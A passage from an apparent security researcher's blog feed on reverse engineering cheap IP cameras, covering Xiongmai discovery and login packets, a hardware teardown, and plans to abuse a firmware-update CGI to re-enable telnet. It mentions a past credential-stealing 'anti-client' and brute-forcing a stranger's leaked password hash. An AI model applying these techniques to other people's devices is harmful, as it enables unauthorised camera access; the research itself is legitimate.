<p>Going through the rest of the packets we can see we only really care about the data part of the TCP flow, not the SYN or ACK, so I set up  a simple Wireshark filter to filter the results into something a little more orderly. We only want TCP PSH packets. * tcp.flags.push == 1</p>
<center>
<img src="/images/xiongmai/wireshark/5.png" style="width: 100%; height: 100%;">
</center>
<p>When plugging some of the strings from this packet into google, I ended up finding a couple pieces of interesting information.</p>
<p><em> <a href="https://pastebin.com/D8u5jXNH">Pastebin</a> </em> <a href="https://gist.github.com/knight-of-ni/26be98747cef99cd4fe7">Gist</a> * <a href="https://github.com/charmyin/IPCTimeLapse/blob/master/videoCapture.c">Github</a></p>
<p>In the PasteBin, there is a log of some sort. Looking at some of the strings inside provides some useful information. First of all, this is some sort of Android client, maybe even the one we have installed, listing out the JSON messages it sends and a bunch of parameters. Looking further into it, we may be able to learn more about how the headers are built. There are some strings that specifically look like they might be something related to the header.</p>
<center>
<img src="/images/xiongmai/wireshark/14.png" style="width: 100%; height: 100%;">
</center>
<p>The Gist is more of the same, although simply sent/received packets, nothing too interesting, but the guy did leave his hashed password in the file, maybe it can be brute forced back to plaintext.</p>
<p>The Github has the most interesting information, which describes exactly how the headers are made. The important function trace we care about starts in sendSocketData, which contains the function call we really care about getSendDataInBinary. This takes the header data, and puts it into a 20 byte buffer. Looking at the function itself explains it all.</p>
<center>
<img src="/images/xiongmai/wireshark/6.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at an example of it&#39;s usage in the code shows that all bytes are actually ordered in Little Endian.</p>
<center>
<img src="/images/xiongmai/wireshark/7.png" style="width: 100%; height: 100%;">
</center>
<p>We now know that secondInt is actually the SessionID! However, looking fourthInt, we still dont know what it is, but the value is hardcoded to every single command, so we can guess that whatever it is, it&#39;s tied to the command name or something.</p>
<p>The camera then sends the replies to the clients previous commands.</p>
<center>
<img src="/images/xiongmai/wireshark/8.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/wireshark/9.png" style="width: 100%; height: 100%;">
</center>
<p>Now we finally start to get to the meat. The client attempts to login to the device, but I have changed the default password to &quot;password&quot;, whatever this password is, it&#39;s most likely the blank password. The reply afterwards should be a &quot;failure&quot;, we can see that the next login attempt has a different password, and actually succeeded.</p>
<center>
<img src="/images/xiongmai/wireshark/10.png" style="width: 100%; height: 100%;">
<br>
<p>Blank Password</p>
</center>
<center>
<img src="/images/xiongmai/wireshark/11.png" style="width: 100%; height: 100%;">
<br>
<p>Failure! Ret = 203</p>
</center>
<center>
<img src="/images/xiongmai/wireshark/12.png" style="width: 100%; height: 100%;">
<br>
<p>Correct Password</p>
</center>
<center>
<img src="/images/xiongmai/wireshark/13.png" style="width: 100%; height: 100%;">
<br>
<p>Success! Ret = 100</p>
</center>
<p>Interesting thing I noticed, when authentication failed, it reported it was a DVR, where when it succeeded it reports its an IPC. So far though, there is little information on what controls the SessionID field. We are probably going to need to figure this out.</p>
]]></description>
      <content:encoded><![CDATA[<p>I plan to do the same thing I did with the VStarCam, capture packets, read through them, get a basic idea for the connection process, and start writing my very own client! First things first, we want to get an idea of a couple things,</p>
<ul>
  <li>Get a list of all port numbers, source and destination, and who communicated using them.</li>
  <li>Study the basic packet structure and figure out the basic formatting.</li>
  <li>Look at the client software for clues into the inner workings.</li>
</ul>
<h2>Sniffing</h2>
<p>Same as before, the main idea is to login with the app, and then immediately disconnect, so it&#39;s easier to understand the login process. Just for information, we&#39;ll do this multiple times to see if there are any important variables in the connection process we may need to track.</p>
<p>This time the app is the <a href="https://play.google.com/store/apps/details?id=com.mobile.myeye&amp;hl=en_US">XMEye</a> app, which operates very similarly to the Eye4 app that the VStarCam uses. The app, once again, has a stupid cloud login, which means the camera has that DDNS connectivity built in again. I&#39;m really glad that I wrote rules in my network to prevent the camera from reaching the internet.</p>
<center>
<img src="/images/xiongmai/wireshark/1.png" style="width: 100%; height: 100%;">
</center>
<p>Once again, broadcast is being used in a poor way, allowing potential attackers to find ALL cameras on a network with one simple magic packet. We are also seeing some weird UDP protocol again.</p>
<p>Taking a look at the first packet, we are greeted with a 20 byte sequence, a single byte 0xFF, padded by thirteen 0x00, then 0xFA05, and lastly four 0x00. We will call this the DBP (Discovery Broadcast Packet).</p>
<center>
<img src="/images/xiongmai/wireshark/2.png" style="width: 100%; height: 100%;">
</center>
<p>Looking ahead, there is a similar marking to the 0xFA05, a 0xFB05. My guess would be that 0xFA05 is the client, and 0xFB05 is the camera. There is also a treasure trove of data sent to broadcast. From this packet we can see the format of choice is JSON. This will be a lot easier to work with that the custom protocol, because it requires less de-serialization work, the hard part is written for us! We will call this the DBR (Discovery Broadcast Reply)</p>
<center>
<img src="/images/xiongmai/wireshark/3.png" style="width: 100%; height: 100%;">
</center>
<p>It does this little dance to share the UDPPort and the TCPPort, both of which are most likely hard-coded in, so there isn&#39;t much of a reason for it. We also know that &quot;Ret : 100&quot; means the command succeeded!</p>
<center>
<img src="/images/xiongmai/wireshark/4.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at the header, we can see the data contains a 0x3E, which just happens to be the exact size of the data, without the 20 byte header. When googling the name &quot;GetSafetyAbility&quot;, I couldn&#39;t find anything, not on GitHub, or any other search engine (I even tried Baidu). The protocol also switched off from UDP to TCP.</p>
<p>Going through the rest of the packets we can see we only really care about the data part of the TCP flow, not the SYN or ACK, so I set up  a simple Wireshark filter to filter the results into something a little more orderly. We only want TCP PSH packets. * tcp.flags.push == 1</p>
<center>
<img src="/images/xiongmai/wireshark/5.png" style="width: 100%; height: 100%;">
</center>
<p>When plugging some of the strings from this packet into google, I ended up finding a couple pieces of interesting information.</p>
<p><em> <a href="https://pastebin.com/D8u5jXNH">Pastebin</a> </em> <a href="https://gist.github.com/knight-of-ni/26be98747cef99cd4fe7">Gist</a> * <a href="https://github.com/charmyin/IPCTimeLapse/blob/master/videoCapture.c">Github</a></p>
<p>In the PasteBin, there is a log of some sort. Looking at some of the strings inside provides some useful information. First of all, this is some sort of Android client, maybe even the one we have installed, listing out the JSON messages it sends and a bunch of parameters. Looking further into it, we may be able to learn more about how the headers are built. There are some strings that specifically look like they might be something related to the header.</p>
<center>
<img src="/images/xiongmai/wireshark/14.png" style="width: 100%; height: 100%;">
</center>
<p>The Gist is more of the same, although simply sent/received packets, nothing too interesting, but the guy did leave his hashed password in the file, maybe it can be brute forced back to plaintext.</p>
<p>The Github has the most interesting information, which describes exactly how the headers are made. The important function trace we care about starts in sendSocketData, which contains the function call we really care about getSendDataInBinary. This takes the header data, and puts it into a 20 byte buffer. Looking at the function itself explains it all.</p>
<center>
<img src="/images/xiongmai/wireshark/6.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at an example of it&#39;s usage in the code shows that all bytes are actually ordered in Little Endian.</p>
<center>
<img src="/images/xiongmai/wireshark/7.png" style="width: 100%; height: 100%;">
</center>
<p>We now know that secondInt is actually the SessionID! However, looking fourthInt, we still dont know what it is, but the value is hardcoded to every single command, so we can guess that whatever it is, it&#39;s tied to the command name or something.</p>
<p>The camera then sends the replies to the clients previous commands.</p>
<center>
<img src="/images/xiongmai/wireshark/8.png" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/wireshark/9.png" style="width: 100%; height: 100%;">
</center>
<p>Now we finally start to get to the meat. The client attempts to login to the device, but I have changed the default password to &quot;password&quot;, whatever this password is, it&#39;s most likely the blank password. The reply afterwards should be a &quot;failure&quot;, we can see that the next login attempt has a different password, and actually succeeded.</p>
<center>
<img src="/images/xiongmai/wireshark/10.png" style="width: 100%; height: 100%;">
<br>
<p>Blank Password</p>
</center>
<center>
<img src="/images/xiongmai/wireshark/11.png" style="width: 100%; height: 100%;">
<br>
<p>Failure! Ret = 203</p>
</center>
<center>
<img src="/images/xiongmai/wireshark/12.png" style="width: 100%; height: 100%;">
<br>
<p>Correct Password</p>
</center>
<center>
<img src="/images/xiongmai/wireshark/13.png" style="width: 100%; height: 100%;">
<br>
<p>Success! Ret = 100</p>
</center>
<p>Interesting thing I noticed, when authentication failed, it reported it was a DVR, where when it succeeded it reports its an IPC. So far though, there is little information on what controls the SessionID field. We are probably going to need to figure this out.</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Exploitation</strong> (<em>Security</em>) &bull; 6 years &mdash; Developing proof-of-concept exploits to validate security vulnerabilities in binaries, network daemons, and web apps. [<a href="https://www.exploit-db.com">Exploit_db</a>]</li>
    <li><strong>C</strong> (<em>Languages</em>) &bull; 12 years &mdash; Low-level system programming language for high-performance applications, memory management, and low-level system software. [<a href="https://en.wikipedia.org/wiki/C_(programming_language)">Website</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Xiongmai - Investigational Journey] Hardware</title>
      <link>https://sol.vin/xiongmai_journey/1.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/1.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Hardware Security</category>
      <category domain="skill-slug">hardware_security</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Hardware Security</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <media:content url="https://sol.vin/images/xiongmai/1.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/2.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/3.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/4.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/5.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/6.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/7.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/8.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/9.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/10.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/11.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/12.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/13.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/14.jpg" medium="image" />
      <media:content url="https://sol.vin/images/xiongmai/15.jpg" medium="image" />
      <media:thumbnail url="https://sol.vin/images/xiongmai/1.jpg" />
      <description><![CDATA[<p>This time I got a camera that had less features than the VStarCam, from a  company called Besder. The exact model is IP20H1.</p>
<center>
<img src="/images/xiongmai/1.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/2.jpg" style="width: 100%; height: 100%;">
</center>
<p>Just looking at the Amazon page, the advertisement promises a couple things.</p>
<ul>
  <li>1080p video</li>
  <li>POE powered</li>
  <li>Onvif</li>
  <li>IR day/night switch</li>
  <li>Motion Detection</li>
</ul>
<p>It doesn&#39;t have any movement, speaker, or microphone capabilities.</p>
<p>Opening up the device we can get a clearer look inside.</p>
<center>
<img src="/images/xiongmai/3.jpg" style="width: 100%; height: 100%;">
</center>
<p>The camera head is on an up-down swivel, while the entire base rotates around. Kind of neat. Some screws and we can detach the camera head from the body.</p>
<center>
<img src="/images/xiongmai/4.jpg" style="width: 100%; height: 100%;">
</center>
<p>Right away we can see 4 wire connectors. The longest one is the Ethernet cable in. As for the red and black one, that is connected to the IR LED to power. The red and blue one I&#39;m guessing would be to help force on the IR, and the single red wire is the day light sensor, pure guess though on which are which.</p>
<p>An interesting note, the single red wire jumper is actually wedged into a three pin socket, you can see what I&#39;m talking about in this picture.</p>
<center>
<img src="/images/xiongmai/5.jpg" style="width: 100%; height: 100%;">
</center>
<p>There is also a free jumper, who knows what it might do. My guess is a potential UART, or motor control but honestly I don&#39;t know.</p>
<p>The processor, yet again, is a HI3516, a common IP camera SoC.</p>
<center>
<img src="/images/xiongmai/6.jpg" style="width: 100%; height: 100%;">
</center>
<p>Looking around the board we can also see a number of interesting ICs, using google we can find out what they do.</p>
<p>Here is some close up looks at some of the chips and markings on the PCB.</p>
<center>
<img src="/images/xiongmai/7.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/8.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/9.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/10.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/11.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/12.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/13.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/14.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/15.jpg" style="width: 100%; height: 100%;">
</center>
<p>Honestly I&#39;m no hardware expert, but I did recently pick up a FT232H I&#39;ve been wanting to learn with. I&#39;d really like to be able to pull the firmware directly off the device, right from the Winbond chip. Also, I&#39;d love to try and unbrick my VStarCam, and maybe even figure out how to write my own total firmware conversion!</p>
]]></description>
      <content:encoded><![CDATA[<p>This time I got a camera that had less features than the VStarCam, from a  company called Besder. The exact model is IP20H1.</p>
<center>
<img src="/images/xiongmai/1.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/2.jpg" style="width: 100%; height: 100%;">
</center>
<p>Just looking at the Amazon page, the advertisement promises a couple things.</p>
<ul>
  <li>1080p video</li>
  <li>POE powered</li>
  <li>Onvif</li>
  <li>IR day/night switch</li>
  <li>Motion Detection</li>
</ul>
<p>It doesn&#39;t have any movement, speaker, or microphone capabilities.</p>
<p>Opening up the device we can get a clearer look inside.</p>
<center>
<img src="/images/xiongmai/3.jpg" style="width: 100%; height: 100%;">
</center>
<p>The camera head is on an up-down swivel, while the entire base rotates around. Kind of neat. Some screws and we can detach the camera head from the body.</p>
<center>
<img src="/images/xiongmai/4.jpg" style="width: 100%; height: 100%;">
</center>
<p>Right away we can see 4 wire connectors. The longest one is the Ethernet cable in. As for the red and black one, that is connected to the IR LED to power. The red and blue one I&#39;m guessing would be to help force on the IR, and the single red wire is the day light sensor, pure guess though on which are which.</p>
<p>An interesting note, the single red wire jumper is actually wedged into a three pin socket, you can see what I&#39;m talking about in this picture.</p>
<center>
<img src="/images/xiongmai/5.jpg" style="width: 100%; height: 100%;">
</center>
<p>There is also a free jumper, who knows what it might do. My guess is a potential UART, or motor control but honestly I don&#39;t know.</p>
<p>The processor, yet again, is a HI3516, a common IP camera SoC.</p>
<center>
<img src="/images/xiongmai/6.jpg" style="width: 100%; height: 100%;">
</center>
<p>Looking around the board we can also see a number of interesting ICs, using google we can find out what they do.</p>
<p>Here is some close up looks at some of the chips and markings on the PCB.</p>
<center>
<img src="/images/xiongmai/7.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/8.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/9.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/10.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/11.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/12.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/13.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/14.jpg" style="width: 100%; height: 100%;">
</center>
<center>
<img src="/images/xiongmai/15.jpg" style="width: 100%; height: 100%;">
</center>
<p>Honestly I&#39;m no hardware expert, but I did recently pick up a FT232H I&#39;ve been wanting to learn with. I&#39;d really like to be able to pull the firmware directly off the device, right from the Winbond chip. Also, I&#39;d love to try and unbrick my VStarCam, and maybe even figure out how to write my own total firmware conversion!</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Hardware Security</strong> (<em>Security</em>) &bull; 6 years &mdash; Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [<a href="https://en.wikipedia.org/wiki/Hardware_security">Wikipedia</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[Xiongmai - Investigational Journey] Intro</title>
      <link>https://sol.vin/xiongmai_journey/0.html</link>
      <guid isPermaLink="true">https://sol.vin/xiongmai_journey/0.html</guid>
      <pubDate>Wed, 04 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-04</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">Xiongmai - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Hardware Security</category>
      <category domain="skill-slug">hardware_security</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Hardware Security</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <description><![CDATA[<p>Hello everyone, and welcome to my investigative journey into the Besder (actually Xiongmai) IP20H1 network camera! Last time, (<a href="/vstarcam">VStarCam Investigational Journey</a>), I covered the VStarCam C7824WIP, a fully featured network camera with some BIG custom protocol flaws. Using knowledge gained from investigation, I was able to write an &quot;anti-client&quot; which could pilfer the password to the camera from a client, reflect the credentials at the camera, then install our own firmware which unfortunately bricked the device. I bought a brand new device and I&#39;m ready to try again.</p>
<p>After my first article, <a href="https://github.com/bcardiff">Brian Cardiff</a> from <a href="https://manas.tech/">Manas</a>, the creators of the <a href="https://crystal-lang.org/">Crystal</a> language, reached out to me to say that they enjoyed the article and they wanted to give me a gift card to Amazon to pick out a new camera! And that&#39;s exactly what I did. Big thank you to the Crystal team for doing this, they are some wonderful people, and I&#39;m really glad to be a part of their community!</p>
<p>If you would like to participate, you can buy the camera from <a href="https://www.amazon.com/gp/product/B07NSWBJ6J/ref=ppx_yo_dt_b_asin_title_o00_s00?ie=UTF8&amp;psc=1">Amazon</a>, and follow along, just be sure to follow these <a href="https://www.michaelhorowitz.com/Defending.against.Xiongmai_Oct2018.php">guidelines</a>, as the camera itself is basically a bot in a botnet.</p>
<p>All source code can be found on Github at <a href="https://github.com/sol-vin/xiongmai-investigational-journey">sol-vin/xiongmai-investigational-journey</a></p>
]]></description>
      <content:encoded><![CDATA[<p>Hello everyone, and welcome to my investigative journey into the Besder (actually Xiongmai) IP20H1 network camera! Last time, (<a href="/vstarcam">VStarCam Investigational Journey</a>), I covered the VStarCam C7824WIP, a fully featured network camera with some BIG custom protocol flaws. Using knowledge gained from investigation, I was able to write an &quot;anti-client&quot; which could pilfer the password to the camera from a client, reflect the credentials at the camera, then install our own firmware which unfortunately bricked the device. I bought a brand new device and I&#39;m ready to try again.</p>
<p>After my first article, <a href="https://github.com/bcardiff">Brian Cardiff</a> from <a href="https://manas.tech/">Manas</a>, the creators of the <a href="https://crystal-lang.org/">Crystal</a> language, reached out to me to say that they enjoyed the article and they wanted to give me a gift card to Amazon to pick out a new camera! And that&#39;s exactly what I did. Big thank you to the Crystal team for doing this, they are some wonderful people, and I&#39;m really glad to be a part of their community!</p>
<p>If you would like to participate, you can buy the camera from <a href="https://www.amazon.com/gp/product/B07NSWBJ6J/ref=ppx_yo_dt_b_asin_title_o00_s00?ie=UTF8&amp;psc=1">Amazon</a>, and follow along, just be sure to follow these <a href="https://www.michaelhorowitz.com/Defending.against.Xiongmai_Oct2018.php">guidelines</a>, as the camera itself is basically a bot in a botnet.</p>
<p>All source code can be found on Github at <a href="https://github.com/sol-vin/xiongmai-investigational-journey">sol-vin/xiongmai-investigational-journey</a></p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/xiongmai_journey/">Xiongmai - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-04</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Hardware Security</strong> (<em>Security</em>) &bull; 6 years &mdash; Physical and electrical security auditing of IoT microcontrollers, UART/JTAG interfaces, and flash dump analysis. [<a href="https://en.wikipedia.org/wiki/Hardware_security">Wikipedia</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[VStarCam - Investigational Journey] Re-evaluating fixed vulnerabilities</title>
      <link>https://sol.vin/vstarcam_journey/10.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/10.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <description><![CDATA[<p>Unfortunately, every journey has it&#39;s end, and this one came to an end quicker than I had hoped.</p>
<p>Uploading my firmware, while it seemed like it worked, never increased the version number in the application. I did everything in my power to look through the updates, seeing if I missed anything. Sad thing was, the only major difference in the updates, was small header values inside the zip files themselves. Everything I checked didn&#39;t work and I was clueless on how to succeed.</p>
<p>I ended up wanting to try something new, and I looked through my firmware files to see if I could upload a version lower than the current one, to downgrade the firmware. Unfortunately, this was where I made a huge mistake.</p>
<p>I ended up uploading a firmware file for a different camera in the same product line, which completely bricked my camera permanently. The camera gets to the &quot;Hello I&#39;m Online&quot; boot phase, then eats mad dog shit, rebooting, and starting all over. I can&#39;t find a way to upload the proper firmware.</p>
<p>I asked around on some Discord servers but no one knew what to do, and as one user elegantly put it, &quot;See, 2 am hacking is a big no no&quot;.</p>
<p>This also cut this article short, I had a lot more planned with the device and I really wanted to show off some of the tools I wrote to do it.</p>
<p>I&#39;m probably going to order a new one and be a little more careful next time, the product line themselves are still on <a href="https://www.amazon.com/VSTARCAM-C7824WIP-Wireless-Multi-Stream-Monitoring/dp/B01FXSZ3YQ/ref=sr_1_1_sspa?keywords=vstarcam&amp;qid=1553308085&amp;s=gateway&amp;sr=8-1-spons&amp;psc=1">Amazon</a>, and highly rated at that, for only $35!</p>
]]></description>
      <content:encoded><![CDATA[<p>Unfortunately, every journey has it&#39;s end, and this one came to an end quicker than I had hoped.</p>
<p>Uploading my firmware, while it seemed like it worked, never increased the version number in the application. I did everything in my power to look through the updates, seeing if I missed anything. Sad thing was, the only major difference in the updates, was small header values inside the zip files themselves. Everything I checked didn&#39;t work and I was clueless on how to succeed.</p>
<p>I ended up wanting to try something new, and I looked through my firmware files to see if I could upload a version lower than the current one, to downgrade the firmware. Unfortunately, this was where I made a huge mistake.</p>
<p>I ended up uploading a firmware file for a different camera in the same product line, which completely bricked my camera permanently. The camera gets to the &quot;Hello I&#39;m Online&quot; boot phase, then eats mad dog shit, rebooting, and starting all over. I can&#39;t find a way to upload the proper firmware.</p>
<p>I asked around on some Discord servers but no one knew what to do, and as one user elegantly put it, &quot;See, 2 am hacking is a big no no&quot;.</p>
<p>This also cut this article short, I had a lot more planned with the device and I really wanted to show off some of the tools I wrote to do it.</p>
<p>I&#39;m probably going to order a new one and be a little more careful next time, the product line themselves are still on <a href="https://www.amazon.com/VSTARCAM-C7824WIP-Wireless-Multi-Stream-Monitoring/dp/B01FXSZ3YQ/ref=sr_1_1_sspa?keywords=vstarcam&amp;qid=1553308085&amp;s=gateway&amp;sr=8-1-spons&amp;psc=1">Amazon</a>, and highly rated at that, for only $35!</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[VStarCam - Investigational Journey] Post Mortem &amp; Fixes</title>
      <link>https://sol.vin/vstarcam_journey/9.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/9.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <category domain="skill">Exploit PoC Development</category>
      <category domain="skill-slug">exploit_poc</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Exploit PoC Development</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/wireshark/auto_dl.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/wireshark/auto_dl.png" />
      <description><![CDATA[<p>Now that we have the username and password for the camera, there is a specific CGI that was found while making a firmware update. This CGI takes a server, and a file name, and downloads the file to the camera, and attempts a firmware update. If used properly, we could alter an update, increasing it&#39;s version number, and changing the main start up script to include telnetd again. We can also use this feature to test against the update validation logic, allowing us to write a minimal exploit to take advantage of this. For example, the update logic might say something like,&quot;I&#39;ll allow an update to run, but only if the firmware version is higher than mine, all the zip files inside validate with no errors, etc etc&quot;, and if we know exactly what those parameters are, we can write a &quot;minimal update maker&quot; to make the smallest amount of changes.</p>
<h2>Getting an update</h2>
<p>After months of playing around with this camera, I finally got a hold of my first firmware update! I went through the whole thing by hand, and used what I found to find other firmware images from previous versions.</p>
